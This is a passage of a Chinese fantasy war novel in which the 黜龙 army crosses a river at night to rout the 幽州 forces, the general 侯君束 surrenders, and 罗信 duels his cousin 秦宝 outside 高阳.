就这样,双方交马而走,罗信继续向北,侯君束引军向南,前者不提,后者早闻得前方动静,却反而让部队整备起来,不要仓促上前乱战。 话虽如此,不过十余里的距离,又是骑兵大队,机动起来仍然很快,深夜中,前方的喊杀声越来越大,火光也越来越明显……甚至,当越过一个小树林,那个充当营地的市镇隔着一两里出现在侯君束视野后,喊杀声居然还是越来越大,火光也还是越来越亮。 “**!”看着眼前情境,侯君束忍不住骂了一声,也不知道骂谁。“这是一个营?!” 原来,入目所在,齐红山所在的市镇,正在遭遇两面攻打,市镇的西面和南面都有密集的火把在候命,而且还越来越多,与此同时,市镇内早已经陷入到了乱战之中,而且隐隐看到数道流光在营内翻滚……哪里是一个营?最少两个营,说不得是三四个营! 而且哪里又来的配合齐将军一战而成?这怕是要苦战好不好? 只是……只是哪来的这么多黜龙军?李定此行是督了八个营的,但有两个营是明确留在了上游的,这是公开的情报……那剩下的有可能在今夜赶到此处的这六个营如何有一半以上的兵力出现在这里?更前面的两位将军是怎么回事? 平心而论,侯君束作为最晚加入幽州军高层的一个浪荡子,此番当此黜龙帮大举北伐的大局,所谓薛常雄跟罗术担心的人心动荡,就是他这种人……实际上,这厮一开始也真就存了首鼠两端的心思,只想着拿到一部分兵马在手,在此战中保全,以求战后上位罢了。 故此,现在他现在面对复杂情况有所犹疑反而正常。 “侯将军,我们要绕到贼军后面吗?”正想着呢,旁边副将见到侯君束的失态与观察,忍不住上前来提醒。 侯君束也陡然反应过来,是了!虽然局势有些超出预料,但此刻自家到底是幽州军的将领,而且已经到了战场,更重要的是自己的位置仍然在理论上幽州军屯驻区的腹心位置,而眼下是有明显的战术机会的,此刻犹疑,只会让准备拉拢的下属对自己产生疑虑。 一念至此,其人主动来问:“孙副将,你觉得西边和南边哪个更好绕后?” 姓孙的副将愣了一下,也有点懵:“西面吧,近一些!” “那就西面。”侯君束立即下令。“咱们分三个波次……你打头阵,试着弄出些破绽,我从你寻的破绽里突进去,留五百骑给高副将做后备接应。” “要派哨骑回高阳吗?”被下令做后备的另一位副将赶紧来问。 “不必……这么大的大营在此,缺我们这一两个哨骑吗?莫忘了,少将军自家都回高阳了。”侯君束略显不耐。 那副将也闭嘴不言。 须臾片刻,第一轮骑兵绕后行动被发觉,被迫临时从侧翼发动突击,而让人麻爪的是,黜龙军在市镇西面的后备居然在夜中也带了弓箭,借着市镇内外的灯火,足以观察到骑兵来袭,而暮色却依旧遮蔽了箭矢的身影,幽州军当场吃了个闷亏……这还不算,躲过箭矢之后,奔到阵前,却发现当面之敌几乎多持**。 到了这个份上,这支幽州骑兵的突袭已经相当于失败。 侯君束心中一跳,战场上的嗅觉让他本能想放弃这支兵马,立即掉头,但是一想到好不容易获得领兵机会,若是扔下这分出去的几百骑不管,岂不肉疼? 当然,心中所想自然不会展露出来,其人面色不改,只是叹了口气,然后扭头吩咐:“高副将,我绕过去,从镇子的西南方插入,然后扭头夹击这支兵马,如若连这般都夹不动他们的阵型,你就去把孙副将给扯出来,我自会从南侧入营,再与你们说话!” 高副将赶紧点头。 而侯君束也立即行动,军官层层传令,剩余八百骑也转入旁边的田野之中,却是要在战场之上,进行一个小型的绕后侧击……然而,其人趁乱领兵绕到小镇的西南侧,正观察形势准备从黜龙军西南两面的缝隙中发动突袭时,后方却又火光大亮,放眼望去,居然又有一支兵马自西南面往这里赶来。 侯君束大惊失色,这个时候他可不觉得来人会是幽州军,但这个时候也无法细细思考眼下局势背后的含义,因为他自作聪明的举动,已经把自己放置到了三支黜龙军的中间,此时唯一要做的,便是趁着对方还没有有意识的合围起来之前逃出去。 但是,更糟糕的事情出现了。 因为阵型缘故,侯君束不敢从来路折回,只能以一种相当于逆时针绕行齐红山大营的方式继续往这个市镇的南侧后方奔行……可是,当他带领着自家部队狼狈抵达此处后,却在一瞬间陷入到了绝望,因为又一支部队出现在了他们的侧前方,而且因为举火不及时和战马的速度,使得双方几乎是当头撞入到了对方阵中。 然后便是一场莫名其妙的夜间乱战。 片刻后,狼狈从战团中脱战后,发现连观察局势都观察不了的侯君束终于开始思考刚才没敢思考的问题了——这么多兵,这么多黜龙军,越过了幽州军在前方设置的两个营地,集中出现在了此处,到底意味着什么?! 可是,他又怎么可能一下子知道这意味着什么呢? 黑灯瞎火的,自己一支孤军,迎面撞到此处,情报完全不对,部队陷入乱战,他能知道什么?或许是是那张行专门给李定多分派了几个营,但或许还是黜龙帮不顾一切,全军渡河来打幽州军了呢? 不过,很快侯君束就不需要思考了。 因为就在他胡思乱想之际,忽然间,一道紫色霞光自西南向东北划破夜空,出现在了那市镇的正上空,然后只是一闪,一面崭新的大旗卷着紫光就在那市镇的正上方铺陈出来……不止是侯君束,幽州军上下恐怕也都知道,这是谁来了。然而让侯君束感到愕然的是,那面旗帜铺开以后,一面缓缓扩大,一面缓缓下压,而他看的清楚,居然是一面挂旗的形状,而且上面写着“替天行道”四个大字?! 如何不是“黜”字旗? 如何敢“替天”?如何敢“行道”? 不对,既敢黜龙,如何不敢替天行道? 黜龙就是替天行道吗? 侯君束目瞪口呆之余,莫名满心惶恐起来……但是,形势根本没有给他反应的时间,下一刻,随着那面紫色帷幕越来越大,越来越低,忽然间,随着那帷幕整个向下方拍去,市镇外围的黜龙军士兵齐齐发一声喊,宛若滔天巨浪一般,震动了整个原野,然后就是人人争先,自西南两面往大幕落下的市镇内冲去。 与此同时,这一部堪称幽州军老底子的精锐,却再不能支撑,只宛若炸裂一般,自北面东面大举逃散,便是等在北面的那支后备骑兵,也瞬间崩散。 这下好了,侯君束根本不需要做什么衡量了。 “投降吧!”侯君束扭头下令,如释重负。“咱们陷在人家口里了,不要无谓挣扎……告诉他们,我是幽州北面都督、安……告诉他们,我是幽州侯君束,见过他们首席的……有我在,必能保你们平安。” 早就有分崩之势,只是因为被三面包围而如无头苍蝇的数百幽州骑兵得令,却是立即放弃了战斗。 侯君集干脆利索,其余人可就没那么顺理成章了……随着那面远超以往的紫色巨幕整个拍下,滹沱河南岸的河间城内,刚刚再度睡下的薛常雄再度翻身坐起,依旧是冷汗迭出,但这一次,他却没有再疑惑什么,而是瞬间认清了局势! 毕竟这种东西对他而言,恰如普通的电闪雷鸣对普通人……怎么可能不被震动?怎么可能不晓得,雄伯南已经莫名出现在自己正北面了?而雄伯南这般肆无忌惮的施展威能,又代表了什么,身处漩涡中的他怎么可能不知道? 不就是他薛常雄诈降把自己诈进去了,人家抓住机会全军去取幽州军了吗? 可是知道又如何?为时已晚。 这个时候,他应该怎么做?能怎么做? 去支援滹沱河北,三家两军就在滹沱河北发动决战? 道理是如此,可这个时候部队刚刚休息两个时辰,怎么动员部队?黑灯瞎火的,怎么渡河?到了滹沱河北,除了两个县城,具体往哪里扑? 这位老牌宗师、河北行军总管、河间大营领袖,现在唯一能做的,就是坐在床前,等着天明的到来……他甚至都没法召集军中其他人,让他们知道讯息去做准备,因为这样很有可能会走漏消息,造成更糟糕的后果。 说句难听点的话,现在喊起人来,说明情况,只怕会一哄而散 他只能坐在这里,回味着刚才那一下堪称浩荡的真气汇集与释放,放任自己的心在乱跳。 同样被震动的还有高阳城内的魏文达,这位幽州军第一大将,新晋宗师、堪称罗术腰胆的骑兵统帅震动只会更多,因为他跟雄伯南是熟人。 雄伯南本就是河北豪杰,早年就在信都厮混,魏文达也是河北闻名的豪杰,早年在幽州厮混,两人颇有接触,光是喝酒、比试就不止三五次。只不过,雄伯南素来不服朝廷管束,只是一味交游,到处来讲义气,朝廷压制他,他就往别处厮混,而魏文达却在凝丹后被朝廷招安,做了幽州大营的军官。 当时来看,自然是他魏文达的选择更对,早早得了前途,而且在随后的十几年中,随着地位越来越高,他也是一直这么认为,但现在来看,却有些恍惚了……一时天翻地覆,才不过四五年而已,对方如何早早成了宗师,成了黜龙帮这种大势力前三的人物?自己却还是个幽州兵头子。 虽说自家没有野心,但当此紫气南来,也不禁心中酸涩。 当然,也就是酸涩而已,魏文达心中复杂心思一闪而过,便立即面沉如水起来,他如何不晓得出大事了呢? 雄伯南出现在齐红山的位置,不顾自己和薛常雄还在,直接放了这么一个招摇的真气外显手段……所谓当军从严,作战虑败,魏文达几乎是瞬间推算出了最糟糕的局面——黜龙军主力尽渡,扔下自家锁了自家的河间,直奔滹沱河北,最前面的冯韩两个将军已经事败,齐红山的兵多一些,战力强一些,为了防止久攻不下,雄伯南终于出手,而这一击必然也要算作齐红山败北了。 那现在要做的,能做的,也没有过多选项了。 “派哨骑出去,让所有散在外面的部队都连夜撤回,博野城的赵八柱将军也不要留,都回我这里来,我这里装不下,就直接撤到身后鄚县去! “打开城门,点燃火盆,严阵以待! “少将军立即走,去鄚县,寻总管说话……让他一边收拢部队,一边在徐水、巨马水上增设浮桥,遣人看管! “告诉罗总管,黜龙贼最快天亮就能到我这里,我要收拢部队,根本来不及走,只能到时候试着守一守,让他观察一下形势……若是天亮后我守住了,就动员薛常雄渡河,连着他一起来救,虽说不如之前的前后夹击,到底也是堂皇一战!而若是我速败了,他什么都不要管,带着能带的人连续渡河、拆桥,回到幽州再做打算!” 刚刚抵达高阳城的罗信目瞪口呆,他都不知道发生了什么。 但是很快,魏文达下一句话就让他如遭雷击:“告诉总管,齐红山齐将军十之**是没了……要他心里明白,一定要做好最坏的打算,弄清楚局势,再来行事。” 接下来,罗信本想多问几句,却也晓得局势凶险,只能强压下各种不安,再度换了一匹马,狼狈向北。 魏文达的猜测不能说错,这个时候,齐红山还没死,但也 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张行会意,也叹了口气,便抢在徐大郎之前开口道:“既破了齐红山,正该兵贵神速……诸位,咱们不能耽误时间,也不能浪费战力,战阵之上,他若不降,只有速速处死,以绝后患。” 说完,只微微抬手,早就等不及的贾越便上前一步,将齐红山一刀了断。 旁边的侯君束看的心下一颤。 “侯君束!”张行终于也扭头来看此人。“你说你有紧要军情?” 侯君束不敢怠慢,立即下拜:“回禀首席,罗术现在鄚县,高阳是魏文达,博野是赵八柱……骑兵多在高阳-博野之间,步兵多在鄚县-高阳之间,一般都是沿着三城连线的东南侧的几条官道上的市镇落脚,没有自立营寨,而鄚县身后的徐水与巨马水上则有浮桥……按照原计划,他们应该是明日兵分两路,步兵过河支援诈降的薛常雄,骑兵绕后,午后时分趁着黜龙大军往河间集中行军时三面夹击,大举交战。” 张行也不吭声,立即回头看马围。 “跟前面俘虏所言无二。”马围立即点头。“没有什么新情报。” “部队已经往高阳开拔了,王五郎在前面统揽,白三娘随行,单大郎在博野做阻击,牛督……牛大头领在那边辅助,都不必担心出岔子,也不用想什么多余计策。”李定也插嘴道。“事到如今,咱们只不要耽误进军,速速在天亮前堵住魏文达,就这么一路卷过去,绝对能将幽州军卷到徐水。” 侯君束听得心中又是一颤,他能想象到最糟糕的局面出现了,黜龙军居然是全军渡河来打幽州军! “侯君束,你还有别的军情吗?”张行点点头,复又来问身前之人。 “……罗……罗信刚刚去了高阳。” “还有吗?” “……”侯君束心跳如擂鼓。 “侯君束,你既然来降,我自然不会再杀……不过战场危急,也没有时间与你扯些别的,现在给你两个选择。”张行坐在小凳上,盯着身前人给出条件。“其一,你留在这里,天亮后这个镇子去驱赶出去的百姓就会被送回来,你领着这些人,安抚降兵,看管俘虏,我就记你一功,战后可以去做个准备将或者参军……” 侯君束几乎就要答应,却又强行咽下。 “其二,你现在走,单骑北走,我知道你带来的骑兵中有几百骑是成建制的直接逃了,你去收拢他们,带他们去徐水,断了他们的浮桥……若是做成了,我许你一个头领的位置。”张行娓娓道来。 而周围人,包括李定都有些恍神……派小股精锐断桥这种事情,肯定是之前讨论过的,但考虑到路程太远,考虑到一夜打到高阳已经很难了,而且幽州大军猬集,小股部队很难正常穿梭,最终是放弃了这个策略,决定打一场滚筒摧击战的。 不过现在,张行废物利用,也不是不行。 当然,侯君束翻脸不认账的可能也是有的……可,便是他不认账,又有什么风险呢? 此番夜间突袭,早已经势不可挡。 “我愿意去断徐水浮桥。”侯君束艰难咽了口口水,然后选择了最艰难的一条路。 “那就走吧!”张行一点头,径直起身。 雄伯南、李定以下,七八名头领一起离开,而侯君束不敢耽搁,狼狈起身随行,出了市镇,寻到一匹马,在黜龙帮头领徐开道带领和掩护下,迅速走脱大军,匆匆北进了。 离开此处,其人纵马狂奔,一路向北,果然不过十余里便在来路的一个岔道上找到了自己留下的高副将以及那数百骑兵……双方见面,侯君束只说自己全程不敢暴露修为和身份,狼狈逃回,属下果然也无反应……重逢的这么快,就算是有人指证这位投降了,怕是也没人信。 而侯君束私下与这高副将以及几位队将商议,所谓“越过高阳再做观察”的“军令”也得到了一致同意。 于是,几百骑借着骑兵的战术机动优势,迅速北上,绕过了高阳,继续向北,一直到四更天后半段,天蒙蒙亮时才在一处田野中停下稍歇。 一直到这个时候,他们才能歇一歇。 也就是这个时候,稍微吃了点干粮的侯君束忽然一愣……他陡然意识到,这一次见到的张行张首席,就很符合他认知中的杀伐果断、操弄人心了。 然而,真到了这个时候,自己怎么被吓得手脚冰冷,言语都艰难呢? 难道那种躺在树下面问桑麻婚姻的做法,才是更高等的豪杰做派? 就在侯君束陷入到某种特有困惑中时,伴随着蒙蒙亮的天色,黜龙军前锋王叔勇部,来到了高阳城下。 “岳父大人。”因为担心高阳局势去而复返的罗信神色恍惚起来,只能在城头上去看魏文达。 “少将军。”魏文达正色看向了罗信。“黜龙贼来的太快了……很多人还没回来,周遭回来的几支兵马和败兵都宛若惊弓之鸟,若是马上天亮,黜龙军兵临城下,威势不减,那很可能要全线动摇的……必须要挫动对方这营兵的锐气。” 罗信信服的点点头,然后立即请战:“这里除了魏将军,就数我修为最高,我去!” “不行,必须得我去。”魏文达恳切道。“黜龙贼这一路明显是主力,先锋既然是王,那便是王叔勇,你不是对手……何况人家若是存心藏着一两个宗师,少将军去怕是连回来都难。” 罗信一时头皮发麻,只能在清晨前一刻的风中努力来问:“可是,黜龙贼有三个宗师,如若是他们三个宗师都在眼前营中藏着,故意引魏将军去,那魏将军也一去不回怎么办?” “所以,要将这里托付给少将军了。”魏文达正色来言。“若我一去不能回,或者狼狈逃回,咱们都要放弃高阳,继续北走……他们连夜进军,现在必然疲惫,若是能在这里断尾求生,对咱们幽州军来说,已经是个好结果了……你回去,要照顾好杏儿。” 罗信点点头,目送对方转身下了城去整备兵马,强压下刚刚想对这位岳父问出的话……若是断尾求生,对幽州军而言都还是个好结果,那河间军又会是什么结果?” 自己给义父的许诺又算什么? 亲父、岳父、义父、妻子,罗信一时心乱如麻! 须臾片刻,三月十二日清晨的第一缕阳光照射在了河北大地上,已经在城东整备好部队的魏文达寻常黑甲藏身于军中,唯独那柄在阳光下闪亮的大刀,却又明晃晃的显露出他的身份来。 但无所谓了,等不及了,魏文达绕着城池,立即向正在城外歇息的王叔勇营发动了突击。 同一时刻,河间城内,好不容易熬到了天明的薛常雄立即擂鼓聚将,诸将早就被安排在总管府周边,此时匆匆抵达,汇集一堂,本以为是要进廊下食,结果来到堂中却发现气氛不对,非但早餐全无,总管薛常雄更是早早披挂完全,手扶金刀立在堂上。 待到人齐,更是直接出言惊人:“诸位,黜龙贼背信弃义,名义上是要给我们生路,许我们降服,实际上却是存了一石二鸟之计,用我们做诱饵,覆灭幽州军……现在他们已经全军渡过滹沱河,正在猛攻幽州军,若我们坐视不理,黜龙贼必然在得胜后回师,将我们覆灭;反之,若我们此时全军渡河,猛击黜龙贼之后,则大事可定,河北也要翻转天命的!” 一言既出,满堂寂静无声,便是薛氏兄弟和慕容正言都目瞪口呆,因为这跟计划中完全不一样……这也太急了! 半晌,还是慕容正言在座中小心来问:“总管,黜龙军果然渡河了吗?” “千真万确,昨夜雄伯南显威,已经越过博野了。”薛常雄昂然以对。 “可是……黜龙帮到底与我们说了条件,只要他们依旧应许之前条件,便是去打了幽州军又如何呢?”大将高湛满头大汗,硬着头皮来问。 “高将军,你也太可笑了!”薛常雄冷冷呵斥。“大丈夫生于世,岂能将性命指望到他人怜悯上?想要活命,只有自家去挣!” 话到这里,不待其他人开口,薛常雄拔出自己的金刀,只在身前一闪,桌案便被斩下一个角来,然后其人便在堂上所有人的沉默中扬声宣告:“我意已决!与黜龙贼势不两立!全军马上用餐,慕容将军留后,然后全军立即北进渡河,与贼人决一死战!” 还是无人吭声,不过这一次,安静只持续了片刻,便有人拔刀呼喊应和了起来,赫然是其人的四个儿子与一个侄子,至于慕容正言反而黯然低头了。 高阳城西侧的田埂上,阳光下,张行也在吃早饭,身后田野和树林中则不顾露水,直接睡了一地。 徐大郎灌了一口水,咽下干粮,忽然摇头:“昨夜我说既然决心渡河突袭便多三分胜算,如今来说倒是少算了……事到如今,我想不到这一战还有什么风险,无外乎是胜多胜少罢了。” “没有少算,只决心渡河突袭就是三分胜算。”还在吃干饼的李定接过话来,一时冷笑。“只不过,咱们实力本就胜过幽州军,便是寻常作战,也有六分胜。” 徐大郎怔了一下,一时语塞,而周围其余随行头领,也都无话。 倒是秦宝,看到徐大郎尴尬,便扭头来问张行:“首席在想什么?” “我在想,取下幽州后,到底是该去趁机进入北地,震慑北地各方势力,还是转入晋北,支援洪长涯呢?”张行一手拿饼一手拿水袋,一边咀嚼一边来答。 李定闻言哂笑:“首席不该把心思放在军事上吗?便是**分的胜算,谁知道会不会有万一呢?须知,兵者大事。” “军事不该是你们操心吗?”张行不以为然。“若是你李四郎和徐大郎在这里,还要**心具体兵事,不如滚回邺城吃炸面团。” 李定还要说什么,忽然间,东面高阳城方向猛地腾起一支巨大的、卷着浪花的黑刀来,相隔七八里,犹然可见。 紧接着,是一面紫色大旗,在更高的地方显化出来,自上而下将刀身压了下去,然后复又是一条青色巨龙缠绕上了那支黑刀的刀柄,两者瞬间便将那巨大黑刀给在半空中压的动弹不得……这还不算,待到黑刀不能行动,又有一支金色威凰腾空而起,先是猛冲向天空,然后又向下面的黑刀直直扑去。 “不要看戏了,秦二郎。”众人看的两眼发直之际,李定第一个反应过来,直接严肃下令。“时候到了,带着你的踏白骑去高阳城北等候城中部队逃窜……不要一味造杀伤,不要堵塞道路,你的任务是驱赶他们,打乱他们阵型,就好像家犬牧羊一样将他们顺着官道撵到罗术那里去!这就是最后一击,也是最关键一击了!” 秦宝一声不吭,只收起粮水,挂在身后,便提着大铁枪转身上了斑点瘤子兽,然后只是一勒马,瘤子兽便抬起前腿,奋力嘶鸣起来,身后树林内数百匹战马宛若受到召唤,也都嘶鸣,引得踏白骑们仓皇起身,带着粮水重新上马。 而张行全程不动,只坐在那里继续一手持饼一手持水袋,细嚼慢咽来吃早饭。太阳已经完全出来了,早晨的阳光射下,照射的河北田野宛若涂金。 PS:感谢谖兮Hilla同学上的又一盟。 第五十二章 千里行(6) 高阳城南三位宗师的威风一显露出来,只觉得天塌地陷的罗信咬紧牙关,立即按照原定计划,下令全军三面出城,北向而逃。 然而,两边部队逃出去,便有言语过来,说是东西两面都有黜龙贼成建制大队远远来夹,此时太阳出来,俱是赤色衣甲,宛若火海自两面来烧……更要命的是,两面的中心旗帜居然都是徐! 罗信目瞪口呆,却连登城看都不敢浪费时间,只是催促全军加速,扔下瓶瓶罐罐,尽量北走,否则真要是被堵在这城里被人一锅端的。 可还不算,很快就有人再来汇报,城北官道上又来了一彪骑兵,他们格外悍勇,杀伤无算,出城的两名将官俱被击杀,成建制的集群也被冲散无数。 罗信立即晓得这是黜龙军的设计,三面堵住,放开一头,却又以精锐部队在头前打散阵型,然后就是幽州军建制全无,被人如撵鸭子一样在大平原上给撵到下一个据点……而考虑到高阳算是幽州军此时布阵的中心点,此番要是被对方打散了,那就是一半左右的兵力,再想收拢可就不是靠谁的本事的事了。 生死关头到了! 原本还想压阵的罗信无可奈何,立即披挂上马,提枪出城,正是一副银枪白甲白马的英武之态,却是远远便看到一名黑甲大将骑在一匹紫黑色怪异龙驹之上,肆意屠戮幽州军骨干,不由怒从心起,当场大喝一声,便提枪上前去战。 反倒是那身形雄壮的黑甲骑士大略勒马回头一看,好像被对方气势吓到一样,明显顿了一顿,方才打马迎上。 片刻后,双方临近数十步,罗信陡然一惊——这分明是自家表兄! 这是要兄弟相残?! 然而,无论是考虑到对方跟黜龙帮首席的私人关系,又或者是对方老家登州现在的归属,兄弟相残不也是理所当然吗? 念头只是脑中一闪而过,但却明显影响到了罗信的阵上发挥,双方交马时,其人断江真气释出,却只觉得放的晚了,这一枪怕是要白给。 孰料,黑白两柄大铁枪当空相交,罗信只觉得手臂微微发麻,料想是对方那奇怪的雷系真气所致……可也就是如此了,对方真气似乎也不是太足,而且没有感觉太强的力道……其人不由心中恍惚,然后马上意识到,对方应该跟自己一样,也是触动于兄弟相残之事了。 一念至此,罗信心中微动,再度勒马回头,就在城北的官道上与自家表兄再度临阵冲锋。而周围士卒此时早已经散开到两侧,将整个官道给让出给这对表兄弟。 黑白二将二度交马,不能说出乎意料,双方力道还是不足,似乎都有保留,但实际上,罗信早已经被逼到墙角……三位父亲的生死,整个幽州军的存亡都在眼前,如何还能为一个表兄动摇? 故此,双方交马之后,早已经悄悄踢开马镫的罗信忽然运转全身真气,就在马背上腾起,而且腾起之时居然就在马背上方七尺内的空间中完成了一个空中翻滚回转,断江真气凌厉,枪尖一抹淡金色划过,乃是凌空回马一枪,真奔秦宝后心而来。 且说,但凡是人相对,最难得的便是出其不意……出其不意,童稚可杀壮汉,凡人可诛凝丹,弱兵可袭强军,罗信这一招,便是杀机尽显,努力一举,以求尽力挽救大局。 这时,秦宝察觉到身后真气翻滚,侧身回头一看,正见到对方翻滚之中铁枪来刺,可自家手中大铁枪在另一侧早已经来不及调转格挡,便是纵马跳跃与个人腾跃怕是也躲不开这一枪。 也是不由心惊肉跳。 然而说时迟,那时快,秦宝心惊肉跳之余,几乎是战斗本能一般,就势单手拿起挂在马后的大铁锏,激起电光同时,狠狠砸向刺来的铁枪枪尖。 两者兵器交汇,这一次,倒是都用了十二成的力气和修为了。 不过,秦宝到底是后发临时应对,所以**刺来,手中铁锏根本不能支撑,当场便脱了手,一时狼狈,而罗信却只是歪了枪尖而已……可这就已经足够了! 两人心知肚明,这一招到底是罗信来攻,来做偷袭,此时被秦宝砸偏枪尖,便是罗信失手,尤其是双方两军不对称的大局摆在这里。 故此,失手之后,狼狈不堪的人马上变成了罗信,他挥动刺偏的**,在地上一摆,转身一个腾跃,再度飞身上马,就势北走。 不走不行,因为伴随着刚才那一招回马枪,那些格外强悍的黜龙军骑兵立即放弃了外围截杀,反过来朝此处蜂拥。 既与表兄交手,他哪里还不知道,这必是踏白骑! 这几百骑全是奇经,一旦被粘住,便没有生理!更何况,踏白骑在此,张行也必然在此,说不得就有七八个成丹在两边田埂上看着呢! 这还打个什么呀? 实际上,罗信狼狈逃窜之时,连对表兄偷袭的羞愧都来不及,只有一个念头而已,那便是黜龙帮的高手如何这般多? 宗师多,成丹多,凝丹多,奇经居然也能在正常的编制外凑了个几百人的踏白骑! 怎么打? 太阳升起,高阳城内能做主的两名幽州军大将一个生死不明,一个狼狈逃窜,幽州军自然也是全线失控,大举北走,早就预备好的黜龙军立即开始了有序的兜后追击……李定所言最关键最后一举俨然已经成功。 但是,理论上似乎还是有一个破绽。 要知道,黜龙帮是夜袭,幽州军也是夜间被动接战,双方都是边走边战了一夜,在体力上算是半斤八两,不然黜龙军也不会在高阳临时调整布置了,但就在这个战场上,隔着一条河,大约四五十里路的距离,还有一支纸面实力很强的部队——河间大营的三万众。 这是大魏官军的遗留,军械完备、建制成熟,还掺杂了许多河北本地豪强世族的精英,外加一个身为宗师的薛常雄。 如果,如果说这个时候,就是黜龙军主力以高阳为核心分部比较分散的时候,因为疲惫和驱赶败军而缓慢行进的时候,也是黜龙军与河间城直线距离较近的时候,河间大营的三万大军立即主动渡河来战……那即便是高端战力缺乏,可以生力军来对作战了一夜的疲惫之师,河间大营也足以让黜龙军伤筋动骨了。 反过来说,如果河间大营不能及时渡河,黜龙军到底是赶着幽州军往北走的,那越走越远,你河间军就怕再难赶上了。 高阳城内外已经一团糟,到处都是铁甲真气下的生死无常,而相隔数里之外的田埂上,张行认认真真吃完饼,依旧坐在地上不动,甚至有闲工夫来看腿弯下的蚂蚁搬饼渣。 而过了好一阵子,其人方才抬头,就在春日早间的晨光下来问身前负手直立之人:“徐大郎和马分管走了多久?” “一刻钟?” “那薛常雄会渡河吗?” 听到这里,被问之人,也就是李定了,终于嗤笑一声:“你不是说,但凡你再操心军事,就要回邺城吃炸面团吗?” “我是说我若是操心军事,你和徐大郎该去吃炸面团。”张行眼睛明显还在蚂蚁上面。“何况我也不是问军事……” 李定愣了一下,然后缓缓来言,却反而人有些犹疑起来:“薛常雄应该会渡河吧?毕竟,按照俘虏的说法,河间一开始就是诈降,这也符合薛常雄拿捏不下来的性格……不过,河间大营想要仓促中全军渡河,未免也有点艰难吧?最多是先来部分精锐。” 张行点点头,只若有所思。 “且不说薛常雄,你准备怎么处置河间大营其余的人?”李定倒是顺着这个话题来了兴致。“我是说那些没渡河的人。” “若是他们没有渡河,就按照之前约定给待遇。”张行终于抬头。“包括薛常雄,只要他没渡河来战,也按照约定来……不能因为一些幽州军的俘虏说些什么,就认定了什么,谁也不能保证是罗术父子哄骗手下人。” “你倒是大度。”李定再度笑了起来。“所以才问这个吗?要是薛常雄真不来了,真当了一个龙头到时候怎么对上陈总管?” “大丈夫能屈能伸。”张行不以为然道。“他若能不渡河,便是自己想明白了……便是真不想对上陈总管,回东都、关西总能妥当吧?” “回关西……白横秋也不会让他妥当的。”李定幽幽来对。“依着他的性格,也不会受这个气的。” 二人沉默片刻,张行终于也不计较什么蚂蚁了,而是起身与对方并列,手搭凉棚看了下东面高阳城的情况,眼瞅着似乎是某个营头已经入了高阳城,复又忽然开口:“之前俘虏的幽州军怎么说,也要十一抽杀吗?” “我建议按规矩来,主动交战的、顽抗的,就好像那齐红山部,该抽还是要抽,不然人家侯君束不是白降了吗?”李定言语飘忽。“我其实晓得你的意思,你是觉得这河北扫荡起来明显利索,马上整个河北都要纳入治下了,这个时候还要**未免会引起地方反感……但凡事要讲规矩,河北容易,它处未必容易,尤其是关西、东都,很可能要长期对峙,要打多次大仗狠仗,若不能严明法度,是要出岔子的。” 张行眯着眼睛默不作声。 而李定犹豫了一下,继续来言:“更有甚者,真要是对北地、巫族、东夷、南岭做征服时,有时候反而是要下狠手的……你要有心理准备,否则必受其祸。” 这次张行反而点了下头,表明认可。 数十里外,滹沱河南岸,河间大营薛常雄处几乎与张行这边同时用早饭,而张行开始看蚂蚁的时候,薛常雄也放下了碗筷,但他并没有着急离开总管府,反而是披挂整齐的坐在原地等待……他要通过自己的军令反馈来确定城内外各部倾向,然后进行针对性行动。 毕竟,经历了完整三征的薛常雄心知肚明,就算是按照原计划按部就班的煽动、欺骗,都肯定有人不愿意跟黜龙军交战,遑论现在仓促启动? 所以,他必须要杀鸡儆猴,或者私下动之以情。 而果然,早餐后,随着部队开始集结……城内的部队还好办一些,毕竟就是在主帅兼宗师的眼皮子底下,而且普遍性是薛常雄子侄和本部控制的嫡系,所以虽然行动缓慢,却没有听到哪里有异动或者不动的……但是,原本安置在城外周边营寨内的那些部队,也就是来自于河间城以外、原本河间大营三郡地盘内的其他各处兵马,此时却是异常频发。 很快就有参军来报,城南部分部队有异动,军令下达后,很多士卒都产生了动摇,正在鼓噪南归。 这是理所当然的,因为这几支军队之前驻扎在清漳水与浊漳水之间,是河间的南线防御部队,而此时他们的常驻地,甚至可能是很多人的家庭与家乡所在,已经被窦立德控制住了,之前他们的友军及其统帅,也就是王伏贝营,也在彼处……更重要的是,从河间城南放肆的南奔的话,下午就能回到家里,这种情况下,如何还要南辕北辙往北渡滹沱河去与黜龙军作战? “总管。”慕容正言原本一直陪着坐在堂上,此时终于窥到机会,便努力来言。“城南让我去吧……” “你去不行。”薛常雄抱起金盔,回身来对,却面无表情。“你也是本地人,虽然有些威望,却不好**,也未必能**……而南线部队距离家乡最近,若不能速速**,怕是要直接逃散,待过了浊漳水,追都追不到的。” 慕容正言心中叹了口气,只努力再来言:“若是如此,总管,让我陪你一起过滹沱河吧。” “不必。”薛常雄依旧平静。“河间城还指望你呢,若是这里没有放心的人,怕是我这个河北行军总管过了滹沱河就无家可归了……” 说着,其人到底是走出了总管府大堂。 来到堂外,春日的阳光自东面射来,照的这位宗师一时睁不开眼,眨巴了几下方才适应,再上马向南,不过片刻便率数十骑亲卫出了河间城南门。 然后,其人忽然在吊桥前的官道上勒马,回头去看,正见到城门洞上写着两个大字——河间。 薛常雄心中微动,不由来来问左右:“河间河间,是不是说河间郡与河间城被夹在漳水与滹沱河两河之间的意思?” 周围人立即应声,但随即又禁不住面面相觑……这位总管来到河间五年,居然现在才知道河间的意思吗? 而薛常雄也没有解释什么,只是叹了口气,便继续往前面已经明显骚动的军营而去。 这个时候,天已经大亮,寻常百姓也都开始起床活动,不过,远在数百里外的邺城行宫内倒是整夜都灯火通明,而本该上午才来**的文书总管陈斌更是一大早便起床来到了行宫前半段的办公区,还在大殿侧面的饭堂用了廊下食。 吃完之后,似乎是有些遐思,又或许是单纯不想去扰乱正在大殿内值班的柴孝和,其人居然没有进入大殿,反而是坐在廊下案前发起呆来。 且说,陈斌一贯严厉,甚至有些刻薄,而周围负责后勤转运的参军、文书们这几日也是忙碌,看到这一幕,更是全都绕着走。 但也有不怕的,须臾片刻,原本准备过来用餐的魏玄定看到了这一幕,连饭都不取,便直接落座,然后顺势开口:“陈总管是担心前方战局?” 他们是邺城这里极少数知道黜龙军可能会夜渡的人……但也是知道可能会,并不晓得黜龙军眼下情状。 “怎么会呢?”陈斌回过神来,不由笑道。“我本是河间大营的监军,又是黜龙帮大行台的总管,两家什么实力,没有比我更清楚的了,这一战,只求河间的话,便是幽州人来援,也是十拿九稳……实际上,魏公想想就知道了,早在去年我就建议首席提前发动北伐,那自然说明那时候我就已经觉得胜算极大了,何况是现在?” 魏玄定恍然。 